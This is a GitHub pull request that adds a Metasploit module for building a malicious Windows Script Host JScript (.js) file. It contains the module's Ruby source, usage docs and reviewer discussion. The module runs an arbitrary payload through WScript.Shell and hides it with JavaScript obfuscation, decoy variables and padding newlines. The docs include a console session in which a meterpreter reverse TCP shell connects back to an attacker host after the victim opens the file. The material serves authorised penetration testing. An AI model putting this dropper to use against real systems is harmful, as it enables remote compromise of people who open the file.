Skip to content

Add Malicious Windows Script Host JScript (.js) File module #20398

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 1 commit into from
Jul 28, 2025
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,89 @@
## Vulnerable Application

This module creates a Windows Script Host (WSH) JScript (.js) file.

This module has been tested successfully on:

* Microsoft Windows 7 Professional SP1 (x86_64)
* Microsoft Windows 11 Professional 21H2 (x86_64)


## Options

### FILENAME

The JScript file name. (Default: `msf.js`).

### OBFUSCATE

Enable JavaScript obfuscation. (Default: `true`)


## Advanced Options

### PrependBenignCode

Prepend several lines of benign code at the start of the file. (Default: `true`)

### PrependNewLines

Prepend new lines before the malicious JScript. (Default: `100`)


## Verification Steps

On the Metasploit host:

1. Start msfconsole
1. Do: `use exploit/windows/fileformat/windows_script_host_jscript`
1. Do: `set filename [filename.js]`
1. Do: `set payload [payload]`
1. Do: `set lhost [lhost]`
1. Do: `set lport [lport]`
1. Do: `run`
1. Do: `handler -p [payload] -P [lport] -H [lhost]`

On the target Windows machine:

1. Ensure Windows Security is disabled
1. Ensure Windows Registry `HKCU` and `HKLM` key `SOFTWARE\Microsoft\Windows Script Host\Settings\Enabled` is not present or set to 1
1. Open the `msf.js` file
1. If prompted to choose a program to open the file, select Windows Script Host


## Scenarios

### Microsoft Windows 11 Professional 21H2 (x86_64)

```
msf > use exploit/windows/fileformat/windows_script_host_jscript
[*] No payload configured, defaulting to cmd/windows/http/x64/meterpreter/reverse_tcp
msf exploit(windows/fileformat/windows_script_host_jscript) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp
payload => cmd/windows/http/x64/meterpreter/reverse_tcp
msf exploit(windows/fileformat/windows_script_host_jscript) > set lhost 192.168.200.130
lhost => 192.168.200.130
msf exploit(windows/fileformat/windows_script_host_jscript) > set lport 4444
lport => 4444
msf exploit(windows/fileformat/windows_script_host_jscript) > run
[+] msf.js stored at /root/.msf4/local/msf.js
msf exploit(windows/fileformat/windows_script_host_jscript) > handler -p cmd/windows/http/x64/meterpreter/reverse_tcp -P 4444 -H 192.168.200.130
[*] Payload handler running as background job 0.

[*] Started reverse TCP handler on 192.168.200.130:4444
msf exploit(windows/fileformat/windows_script_host_jscript) >
[*] Sending stage (203846 bytes) to 192.168.200.169
[*] Meterpreter session 1 opened (192.168.200.130:4444 -> 192.168.200.169:49893) at 2025-07-20 09:14:37 -0400

msf exploit(windows/fileformat/windows_script_host_jscript) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer : WIN-11-PRO-X64
OS : Windows 11 21H2 (10.0 Build 22000).
Architecture : x64
System Language : en_GB
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter >
```
116 changes: 116 additions & 0 deletions modules/exploits/windows/fileformat/windows_script_host_jscript.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,116 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::JSObfu

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Malicious Windows Script Host JScript (.js) File',
'Description' => %q{
This module creates a Windows Script Host (WSH) JScript (.js) file.
},
'License' => MSF_LICENSE,
'Author' => [
'bcoles'
],
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1204_002_MALICIOUS_FILE],
],
'Arch' => [ARCH_CMD],
'Platform' => 'win',
'Payload' => {
'Space' => 8_000, # 8190 maximum command length, minus some space for "cmd.exe /c " and escaping
'BadChars' => "\x00",
'DisableNops' => true
},
'Targets' => [
[
'Microsoft Windows 98 or newer', {}
],
],
'Privileged' => false,
'DisclosureDate' => '1998-06-25', # Windows 98 release date
'DefaultTarget' => 0,
'DefaultOptions' => {
'DisablePayloadHandler' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [SCREEN_EFFECTS]
}
)
)

register_options([
OptString.new('FILENAME', [true, 'The JScript file name.', 'msf.js']),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would it make sense to have the name be randomly generated to avoid the mention of msf?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Maybe. That's not something we're in the habit of doing.

# grep -rn FILENAME modules/exploits/**/fileformat | wc -l
395
# grep -rn FILENAME modules/exploits/**/fileformat | grep msf | wc -l
180

Most fileformat modules use a static file name.

# grep -rn FILENAME modules/exploits/**/fileformat | grep -i rand
modules/exploits/linux/fileformat/unrar_cve_2022_30333.rb:62:        OptString.new('SYMLINK_FILENAME', [ true, 'The name of the symlink file to use (must be 12 characters or less; default: random)', Rex::Text.rand_text_alpha_lower(4..12)])
modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb:99:      lnk_filename = datastore['FILENAME'] || "#{rand_text_alpha(16)}.lnk"
modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb:107:        fname, ext = (datastore['FILENAME'] || "#{rand_text_alpha(16)}.lnk").split('.')
modules/exploits/windows/fileformat/office_dde_delivery.rb:68:      filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']
modules/exploits/windows/fileformat/greenshot_deserialize_cve_2023_34634.rb:58:    datastore['FILENAME'] = Rex::Text.rand_text_alpha(rand(6..13)) if datastore['FILENAME'].blank?
modules/exploits/windows/fileformat/office_ms17_11882.rb:261:      filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']
modules/exploits/windows/fileformat/office_excel_slk.rb:62:      OptString.new('FILENAME', [true, "Filename to save as", "#{rand_text_alphanumeric 8}.slk"])
modules/exploits/windows/fileformat/office_excel_slk.rb:90:      filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

IIRC, most of fileformat modules do use static file name, but they also create random file name if static file name is not supplied. I think that might be a way to be consistent with fileformat modules.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

IIRC, most of fileformat modules do use static file name, but they also create random file name if static file name is not supplied. I think that might be a way to be consistent with fileformat modules.

No. Most of the fileformat modules require the FILENAME option to be set, thus never allowing the opportunity for the filename to be blank.

# grep -rn FILENAME modules/exploits/**/fileformat | grep Opt | grep false | wc -l
67
# grep -rn FILENAME modules/exploits/**/fileformat | grep Opt | grep true | wc -l
138
# grep -rn FILENAME modules/exploits/**/fileformat | grep Opt | grep -i rand | wc -l
2

If the FILENAME option is not required and the FILENAME is blank, the store_local method will create a <random>.bin file.

def store_local(ltype=nil, ctype=nil, data=nil, filename=nil)
if ! ::File.directory?(Msf::Config.local_directory)
FileUtils.mkdir_p(Msf::Config.local_directory)
end
# Split by fname an extension
if filename and not filename.empty?
if filename =~ /(.*)\.(.*)/
ext = $2
fname = $1
else
fname = filename
end
else
fname = ctype || "local_#{Time.now.utc.to_i}"
end
# Split by path separator
fname = ::File.split(fname).last
case ctype # Probably could use more cases
when "text/plain"
ext ||= "txt"
when "text/xml"
ext ||= "xml"
when "text/html"
ext ||= "html"
when "application/pdf"
ext ||= "pdf"
else
ext ||= "bin"
end

This does not preserve the expected file extension. This also results in an output message with preceding space where the filename should have been:

msf exploit(windows/fileformat/windows_script_host_jscript) > run
[+]  stored at /root/.msf4/local/local_1753623988.bin

This is an objectively uglier solution than the current implementation.

If the goal is to be consistent with the other modules, then the existing approach is more consistent.

A cleaner approach would be to implement custom file name randomization on a per-module basis. This would allow the module to support generating file names with the expected file extension. To achieve this, the module must clobber datastore['FILENAME'] because the Msf::Exploit::FILEFORMAT library does not support passing the filename to the file_create method. Clobbering datastore is generally frowned upon in Framework, but not entirely forbidden.

def file_format_filename
datastore['FILENAME']
end
def file_create(data)
fname = file_format_filename
ltype = "exploit.fileformat.#{self.shortname}"
full_path = store_local(ltype, nil, data, fname)
print_good "#{fname} stored at #{full_path}"
end

OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true])
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

OBFUSCATE seems slightly generic in this context, with my initial impression being e.g. PrependBenignCode being an obfuscation technique.
Could we rename this to be something more specific, e.g.
JAVASCRIPT_OBSUCATION or similar?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This seems like needless differentiation, especially as PrependBenignCode is an advanced option not shown in the default list of options.

OBFUSCATE is tradition:

# grep -rn OBFUSCATE modules/ | grep Opt
modules/exploits/windows/fileformat/windows_script_host_vbscript.rb:54:      OptBool.new('OBFUSCATE', [false, 'Enable VBScript obfuscation', true])
modules/exploits/windows/fileformat/word_mshtml_rce.rb:63:      OptBool.new('OBFUSCATE', [true, 'Obfuscate JavaScript content.', true])
modules/exploits/windows/fileformat/word_msdtjs_rce.rb:67:      OptBool.new('OBFUSCATE', [true, 'Obfuscate JavaScript content.', true])
modules/exploits/windows/fileformat/adobe_reader_u3d.rb:81:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/fileformat/windows_script_host_jscript.rb:56:      OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true])
modules/exploits/windows/browser/notes_handler_cmdinject.rb:72:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/ms11_003_ie_css_import.rb:143:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true])
modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb:81:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/teechart_pro.rb:104:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true])
modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb:72:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb:63:      [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true]) ]
modules/exploits/windows/browser/adobe_flash_rtmp.rb:103:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]),
modules/exploits/windows/browser/samsung_security_manager_put.rb:47:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
modules/exploits/windows/browser/honeywell_tema_exec.rb:71:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb:59:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/quickr_qp2_bof.rb:84:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/inotes_dwa85w_bof.rb:86:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/vlc_amv.rb:69:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb:119:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true])
modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb:81:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb:111:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
modules/exploits/windows/browser/ibm_spss_c1sizer.rb:104:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/ntr_activex_stopmodule.rb:75:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/cisco_playerpt_setsource.rb:102:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb:77:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
modules/exploits/windows/browser/crystal_reports_printcontrol.rb:111:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/ie_cbutton_uaf.rb:85:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/asus_net4switch_ipswcom.rb:59:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb:146:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/ms12_037_same_id.rb:87:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/realplayer_qcp.rb:64:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb:130:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/vlc_mms_bof.rb:89:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb:81:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/pcvue_func.rb:66:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true]),
modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb:86:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/mozilla_nstreerange.rb:132:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true]),
modules/exploits/windows/browser/mozilla_interleaved_write.rb:79:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true])
modules/exploits/windows/browser/ms12_037_ie_colspan.rb:80:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/ie_cgenericelement_uaf.rb:80:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/ms11_081_option.rb:62:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/adobe_flash_sps.rb:67:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb:80:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb:80:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/msxml_get_definition_code_exec.rb:131:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb:116:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb:65:      [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true]) ]
modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb:73:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
modules/exploits/windows/browser/ie_execcommand_uaf.rb:83:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/ms12_004_midi.rb:102:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/zenworks_helplauncher_exec.rb:68:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]),
modules/exploits/windows/browser/mozilla_reduceright.rb:81:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb:107:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb:112:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/ms11_093_ole32.rb:77:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/ntr_activex_check_bof.rb:139:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/intrust_annotatex_add.rb:85:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true])
modules/exploits/windows/browser/apple_quicktime_mime_type.rb:93:        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
# grep -rn OBFUSCATE modules/ | grep Opt | cut -d '(' -f2- | sort -u | wc -l
10
# grep -rn OBFUSCATE modules/ | grep Opt | cut -d '(' -f2- | sort -u 
'OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
'OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
'OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]),
'OBFUSCATE', [false, 'Enable JavaScript obfuscation', true])
'OBFUSCATE', [false, 'Enable JavaScript obfuscation', true]),
'OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true])
'OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true]) ]
'OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true]),
'OBFUSCATE', [false, 'Enable VBScript obfuscation', true])
'OBFUSCATE', [true, 'Obfuscate JavaScript content.', true])

])

register_advanced_options([
OptBool.new('PrependBenignCode', [false, 'Prepend several lines of benign code at the start of the file.', true]),
OptInt.new('PrependNewLines', [false, 'Prepend new lines before the malicious JScript.', 100]),
])
end

def generate_jscript(command_string, prepend_benign_code: false, prepend_new_lines: 0, obfuscate: false)
js = ''

# TODO: This could be improved by generating more realistic looking
# benign code with functions and flow control
if prepend_benign_code
rand(5..10).times do
js << "var #{rand_text_alpha(6..16)}=\"#{rand_text_alphanumeric(6..16)}\";\r\n"
end
end

js << "\r\n" * prepend_new_lines

escaped_payload = command_string.gsub('\\', '\\\\\\').gsub('"', '\\"')

# If the payload contains " & " we presume it is a command string.
#
# TODO: Change this once Metasploit is able to inform a module that
# the specified ARCH_CMD payload is a string of commands
# (not a single command).
if escaped_payload.include?(' & ')
cmd = "cmd.exe /c #{escaped_payload}"
else
cmd = escaped_payload
end

shell_var = rand_text_alpha(6..16)
js_payload = "var #{shell_var} = new ActiveXObject(\"WScript.Shell\");"
js_payload << "#{shell_var}.Run(\"#{cmd}\");"

if obfuscate
js_obfu = Rex::Exploitation::JSObfu.new(js_payload)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think you can use Msf::Exploit::JSObfu which would spare one require

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I've made this change.

obfuscated_payload = js_obfu.obfuscate(memory_sensitive: false).to_s
# WSH JScript execution context does not support 'window' object
obfuscated_payload = obfuscated_payload.gsub('window[', 'String[')
js << obfuscated_payload
else
js << js_payload
end

js
end

def exploit
js = generate_jscript(
payload.encoded,
prepend_benign_code: datastore['PrependBenignCode'],
prepend_new_lines: datastore['PrependNewLines'],
obfuscate: datastore['OBFUSCATE']
)
file_create(js)
end
end